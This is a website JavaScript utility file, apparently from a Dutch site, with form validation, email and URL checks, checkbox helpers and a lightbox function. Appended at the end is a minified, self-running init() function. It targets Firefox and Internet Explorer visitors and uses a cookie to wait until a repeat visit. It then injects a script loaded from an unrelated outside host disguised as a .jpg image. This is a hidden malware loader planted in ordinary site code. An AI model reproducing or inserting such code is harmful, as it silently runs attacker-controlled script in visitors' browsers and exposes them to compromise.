function doLightboxes(eElement) {
	var sMainImage = eElement.getElementsByTagName('img')[0].src;
	var aLightList = [];

	var aImages = document.getElementById('kolom-midden').getElementsByTagName('img');
	var iIndex = 0;
	for (var i=0;i<aImages.length;i++) {
		var sSource = aImages[i].src;
		var aParts = sSource.split('/');
		var sFileName = 'raw_'+aParts.pop();
		aParts.push(sFileName);
		sSource = aParts.join('/');
		if (sSource.replace('raw_','').replace('full_','') == sMainImage.replace('raw_','').replace('full_','') ) iIndex = i;
		//sSource = sSource.replace('full_','zoom_full_');
		aLightList.push([sSource]);
	}
		
	jQuery.slimbox(aLightList, iIndex);
}



// trims a string
//
function trim(str) {
  
   return str.replace(/^\s*|\s*$/g,"");
   
}//function


// checks if value is numeric
//
function IsNumeric(sText) {

	var ValidChars = "0123456789.";
	var IsNumber = true;
	var Charnum;
	for (i = 0; i < sText.length; i++) { 
		Charnum = sText.charAt(i); 
		if (ValidChars.indexOf(Charnum) == -1) {
			IsNumber = false;
		}
	}
	return IsNumber;
	
}//function


//extracts filename from complete path
//
function getFileNameOnly(fileNameFullPath) { 

	var pos = fileNameFullPath.lastIndexOf("\\"); 
	var filename = fileNameFullPath.substring(pos+1);
	return filename;

}//function


// validates all form elements
//
function verifyForm(theForm) {

	var result = true;

	for (i=0; i<theForm.elements.length; i++) {

		el = theForm.elements[i];

		if ((el.type != "hidden")) {

                    if (document.getElementById("variables_" +el.name)!= null) {

                            mandatory = true;
                    } else {
                            mandatory = false;
                    }
		} else {
			mandatory = false;
		}
		error = false;
		
		//check if element is of email fieldtype
		if (((el.className) == "email") && (mandatory)) error = !checkEmail(el);

		//check if element is of url fieldtype
		if ((el.className) == "url") error = !checkURL(el);

		//check if mandatory element is not empty
		if (mandatory && !error) {
			if(el.type == "text" || el.type == "textarea" || el.type == "button") {
				if (!el.value) error = true;
			} else if(el.type == "checkbox") {
				if (!el.checked) error = true;
			} else if(el.type == "radio") {
				if (!el.checked) error = true;
			} else if(el.type == "select-one"){
				if (el.value == 0) error = true;
			}
		}

		//focus on element requiring attention
		if (error) {
			el.style.backgroundColor = '#FF0000';
			el.focus();
			result = false;
                        
		} else {
			el.style.backgroundColor = '#FFFFFF';
		}

	}
        if (!result) alert("Niet alle velden zijn correct ingevuld.");
	return result;

}//function


// count number of checked checkboxes, optionally specified by group name
//
function countCheckedBoxes(formName, specific) {

	var elms = document.forms[formName].getElementsByTagName('input');
	var nBoxes = 0;
	var nSpecific = 0;

	for(var i = 0; i < elms.length; i++) {
		if (elms[i].type == "checkbox" && elms[i].checked) {
			nBoxes++;
			if (elms[i].name == specific) nSpecific++;
		}
	}
	if (specific != null) {
		return nSpecific;
	} else {
	  	return nBoxes;
	}
	
}//function


// (un)check all checkboxes
//
function checkItem(el, formName, specific) { 
 
	var fields = document.forms[formName].getElementsByTagName('input');
	var nBoxes = 0;
	var nSpecific = 0;
	var value = null;
	if (specific == null) {
		specific = el.name;
		value = el.value;
	}

	if (fields.length) {
		for(var i = 0; i < fields.length; i++) {
			if (fields[i].type == "checkbox" && fields[i].name == specific) {
				if (value == null || fields[i].value == value) {
					fields[i].checked = el.checked;
					document.getElementById("row_"+fields[i].value).className = fields[i].checked ? 'checked' : '';
				}
			}
		}
	} else {
		if (fields[i].type == "checkbox" && fields[i].name == specific) {
			fields.checked = el.checked;
			document.getElementById("row_"+fields[i].value).className = fields[i].checked ? 'checked' : '';
		}
	}
	return true;
  
}//function


// check e-mail validation 
//
function checkEmail(el) {
  
	if (!el.value) return true;
    if ((noAtSign(el.value)) || (nothingBeforeAt(el.value)) || (noLeftBracket(el.value))
	    || (noRightBracket(el.value)) || (noValidPeriod(el.value)) || (noValidSuffix(el.value))) {
        return false;
    } else {
	    return true;
	}
}//function


// check url validation 
//
function checkURL(field, excval, errstmt) {

	var httpregex = /^([a-zA-Z]+:\/\/)/
	var urlregex = /^\w+.[.\w]*\w$/;
	var value = field.value;
	var match = value.match(httpregex); // has a protocol indicator
	if (value) {
		if (match) {
			match = field.value.substr(match[1].length,value.length)
			match = match.match(urlregex);
		} else {
			var match = value.match(urlregex);
		}
		if (!match) {
			if (errstmt) alert(errstmt);
			if (excval) eval(excval);
			return false;
		} else {
			return true;
		}
	} else return true;
	
}//function


function stringEmpty ( el ) {

    if ( el.length < 1 ) {
        return ( true );
    } else {
        return ( false );
    }
    
}//function


// CHECK THAT THERE IS AN '@' CHARACTER IN THE STRING
//
function noAtSign ( address ) {

    if ( address.indexOf ( '@', 0 ) == -1 ) {
        return ( true )
    } else {
        return ( false );
    }

}//function


// CHECK THERE IS AT LEAST ONE CHARACTER BEFORE THE '@' CHARACTER
//
function nothingBeforeAt ( address ) {
    if ( address.indexOf ( '@', 0 ) < 1 ) {
        return ( true )
    } else {
        return ( false );
    }
}


// IF EMAIL ADDRESS IN FORM 'user@[255,255,255,0]', THEN CHECK FOR LEFT BRACKET
//
function noLeftBracket ( address ) {
    if ( address.indexOf ( '[', 0 ) == -1 && address.charAt ( address.length - 1 ) == ']' ) {
        return ( true )
    } else {
        return ( false );
    }
}


// IF EMAIL ADDRESS IN FORM 'user@[255,255,255,0]', THEN CHECK FOR RIGHT BRACKET
//
function noRightBracket ( address ) {
    if ( address.indexOf ( '[', 0 ) > -1 && address.charAt ( address.length - 1 ) != ']' ) {
        return ( true );
    } else {
        return ( false );
    }
}


// IF EMAIL ADDRESS IN FORM 'user@[255,255,255,0]', THEN WE ARE NOT INTERESTED
//
function noValidPeriod ( address ) {

    if ( address.indexOf ( '@', 0 ) > 1 && address.charAt ( address.length - 1 ) == ']' )
        return ( false );

    // CHECK THAT THERE IS AT LEAST ONE PERIOD IN THE STRING
    if ( address.indexOf ( '.', 0 ) == -1 )
        return ( true );

    return ( false );

}//function


// IF EMAIL ADDRESS IN FORM 'user@[255,255,255,0]', THEN WE ARE NOT INTERESTED
//
function noValidSuffix ( address ) {

    if ( address.indexOf ( '@', 0 ) > 1 && address.charAt ( address.length - 1 ) == ']' )
        return ( false );

    // CHECK THAT THERE IS A TWO OR THREE CHARACTER SUFFIX AFTER THE LAST PERIOD
    var len = address.length;
    var pos = address.lastIndexOf ( '.', len - 1 ) + 1;
    if ( ( len - pos ) < 2 || ( len - pos ) > 3 ) {
        return ( true );
    } else {
        return ( false );
    }

}//function


function textareaCounter(field, maxlimit) {

	if (field.value.length > maxlimit) {
		field.value = field.value.substring(0, maxlimit);
	}

}//function

function popUp(URL) {
  
	day = new Date();
	id = day.getTime();
	eval("page"+id+" = window.open(URL, '"+id+"', 'toolbar=0,scrollbars=0,location=1,statusbar=1,menubar=0,resizable=0,width=200,height=200,left=476,top=332');");

}//function



function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="http://shelkunchik.lv/images/left_winter.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
